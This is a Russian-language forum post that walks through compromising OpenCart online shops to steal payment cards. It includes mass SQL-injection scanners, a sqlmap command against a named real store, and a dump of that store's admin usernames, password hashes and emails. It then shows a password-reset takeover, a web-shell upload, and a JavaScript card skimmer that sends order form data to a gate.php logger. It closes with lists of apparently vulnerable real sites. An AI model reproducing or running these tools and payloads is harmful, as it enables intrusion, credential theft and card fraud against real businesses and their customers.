Пожалуйста, обратите внимание, что пользователь заблокирован
Приступим. Что нам понадобится:
Начнём с простого, напишем парсер для публичной уязвимости в opencart.
Запускаем из консоли (php5.6 бд для тестов приложужу в конце). Получаем первый результат:
Не стесьняясь используем sqlmap, удобно и работает.
Получаем SQL shell. Проверяем наличие заполненых полей ftp.
Мимо. Извлекаем учётные данные администраторов:
output:
Опустим попытку брута т.к на сайте есть форма востановления пароля:
Cсылка для ввода кода для смены пароля:
Попадаем в админ панель:
Загружаем шелл через установщик плагинов.
Текущий доступ примерно 300 карт в день, но нет формы оплаты. Можно поправить темплейт.
Прмемер сниффера: JS:
Правим поля под форму (#);
gate.php
напишем чекер под "0day" уязвимость в плагине opencart. (module/mega_filter);
Сохраняем, запускаем из консоли (php5.6), Данный чекер учитывает только error-based вектор.
Тестовый output:
- php5.6 + curl
- RollingCurl - _ttps://github.com/takinbo/rolling-curl
Начнём с простого, напишем парсер для публичной уязвимости в opencart.
PHP:
<?php
ini_set('memory_limit', '-1');
require __DIR__ . '/src/RollingCurl/RollingCurl.php';
require __DIR__ . '/src/RollingCurl/Request.php';
$rollingCurl = new \RollingCurl\RollingCurl();
$i =0;
$content = file('set_base_here.txt');
$plugin = "/index.php?route=product/product&path=4_16&product_id=431'";
$arr = array();
foreach ($content as $string) {
$url = trim($string);
$url = $url.$plugin;
$arr[] = $url;
}
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print " product_id testing ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);
foreach ($sites as $url) {
$request = new \RollingCurl\Request($url);
$request->setOptions($options);
$rollingCurl->add($request);
}
$rollingCurl
->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {
$out = $request->getResponseText();
$vuln = explode('You have an error in your SQL syntax',$out);
$false1 = explode('<html',$out);
$false = explode('href="',$out);
$header = $request->getresponseInfo();
$http_code = $header['http_code'];
if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){
if(mb_strlen($request->getResponseText())==0){
// print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;
}
if(isset($vuln[1])){
print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;
}
else{
}
}
else{
}
})->execute();
?>
Запускаем из консоли (php5.6 бд для тестов приложужу в конце). Получаем первый результат:
Код:
_ttps://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431:vuln
Код:
python ~/sqlmap/sqlmap.py -u "https://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431*" --sql-shell --dbms="MySQL"
Код:
select `value` from `oc_setting` where `key` like '%ftp%'
Код:
sql-shell> select `username`,`password`,`salt`,`email` from `oc_user`
Код:
select `username`,`password`,`salt`,`email` from `oc_user` [12]:
[*] admin, d502c298a08c6a792d3aca5834cadda91c09bbef, gl2wqMCI7, office@sharknet.ws
[*] presian, 00dd6ccaeedda898502bbc4a6252cc2ae9ececea, zf6TYZ22T, adminmymart@yaybg.bg
[*] itso, 32eff90320144d729d52eecfcbcc0105c626ca7b, 1ahOeGubK, itso@yaybg.bg
[*] angel, 25887f0b297658f2c8a49ac839e1efa6113b8e6c, Fqnsekz8e, angel@yaybg.bg
[*] denis, 403431b3541f319f84123a0c1d04286bd423568c, pZvm4H0cU, denis@yaybg.bg
[*] dimityr, 9c72b218cde0952ed725d288e398426184560da2, Ocwi0EfVA, dimityr@yaybg.bg
[*] vania, 98d24ac005ceec111ee4361ce4978d6f339cbf69, yiqpiR8Vz, vania@yaybg.bg
[*] ognian, 484ce4ef33f244bae80646af47bb831130d0987d, kMnrIXHJu, ognian@yaybg.bg
[*] Tibi, a7fbec4075f1c590ff1abcf53ef753858bf39db5, zU8LusPfL, danieltityukov@mail.bg
[*] printirane, 8d688e734dced7bdac0b36ab07c2b85c957db152, r4pmw6xnK, yaybgorder@gmail.com
[*] marketing, 283232b15c7fbbf89aa6f3456a09a05f341aa080, 8Hd8zCa6l, andorexe@mail.bg
[*] petio, 6776e6dfad9a066f05aa1be004d16f02eea14ccd, n7x7sjPcL, razlichnobg@mail.bg
Код:
https://www.yay.bg/admin/index.php?route=common/forgotten
Ресетим пароль администратора, office@sharknet.ws;
Код для ресета пароля хранится в:
sql-shell> select `code` from `oc_user`
Код:
/admin/index.php?route=common/reset&code=
https://www.yay.bg/admin/index.php?route=common/reset&code=TDetr40vBUNkev6nGLBBSv2zbtMlEK1SHwQGGPJY
Попадаем в админ панель:
Загружаем шелл через установщик плагинов.
Текущий доступ примерно 300 карт в день, но нет формы оплаты. Можно поправить темплейт.
Прмемер сниффера: JS:
Код:
jQuery(document).ready(function() {
jQuery('#order').change(function() {
if (jQuery('#card_number').val().replace(/[^0-9]/g,'').length > 14 && jQuery('#card_cvNumber').val().replace(/[^0-9]/g,'').length > 2) {
jQuery.ajax({
url: 'https://example.com/gate.php?token=FZorkMQW',
data: jQuery('#order').serialize(),
type: 'POST',
success:function(resp)
{
return false;
},
error:function(jqXHR, textStatus, errorThrown)
{
return false;
}
});
}
});
});
gate.php
Код:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept');
$req_dump = file_get_contents("php://input").PHP_EOL;
$fp = file_put_contents( '/var/log/ssl30.txt', $req_dump, FILE_APPEND);
?>
напишем чекер под "0day" уязвимость в плагине opencart. (module/mega_filter);
PHP:
<?php
ini_set('memory_limit', '-1');
require __DIR__ . '/src/RollingCurl/RollingCurl.php';
require __DIR__ . '/src/RollingCurl/Request.php';
$rollingCurl = new \RollingCurl\RollingCurl();
$i =0;
$content = file('test.txt');
$plugin = "/index.php?route=module/mega_filter/results&mfp='";
$arr = array();
foreach ($content as $string) {
$url = trim($string);
$url = $url.$plugin;
$arr[] = $url;
}
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print " testing module/mega_filter ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);
foreach ($sites as $url) {
$request = new \RollingCurl\Request($url);
$request->setOptions($options);
$rollingCurl->add($request);
}
$rollingCurl
->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {
$out = $request->getResponseText();
$vuln = explode('syntax;',$out);
$false1 = explode('<html',$out);
$false = explode('href="',$out);
$header = $request->getresponseInfo();
$http_code = $header['http_code'];
if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){
if(mb_strlen($request->getResponseText())==0){
//print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;
}
if(isset($vuln[1])){
print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;
}
else{
}
}
else{
}
})->execute();
?>
Сохраняем, запускаем из консоли (php5.6), Данный чекер учитывает только error-based вектор.
Тестовый output:
Код:
abaro.vn/index.php?route=module/mega_filter/results&mfp=':vuln
igalaxy.gr/index.php?route=module/mega_filter/results&mfp=':vuln
cardtak.com/index.php?route=module/mega_filter/results&mfp=':vuln
iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.daciashop.ro/index.php?route=module/mega_filter/results&mfp=':vuln
www.enbimoda.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.omikron.gr/index.php?route=module/mega_filter/results&mfp=':vuln
www.indiansilkhouse.com/index.php?route=module/mega_filter/results&mfp=':vuln
www.bazistory.com/index.php?route=module/mega_filter/results&mfp=':vuln
polleosport.si/index.php?route=module/mega_filter/results&mfp=':vuln
iranianskin.com/index.php?route=module/mega_filter/results&mfp=':vuln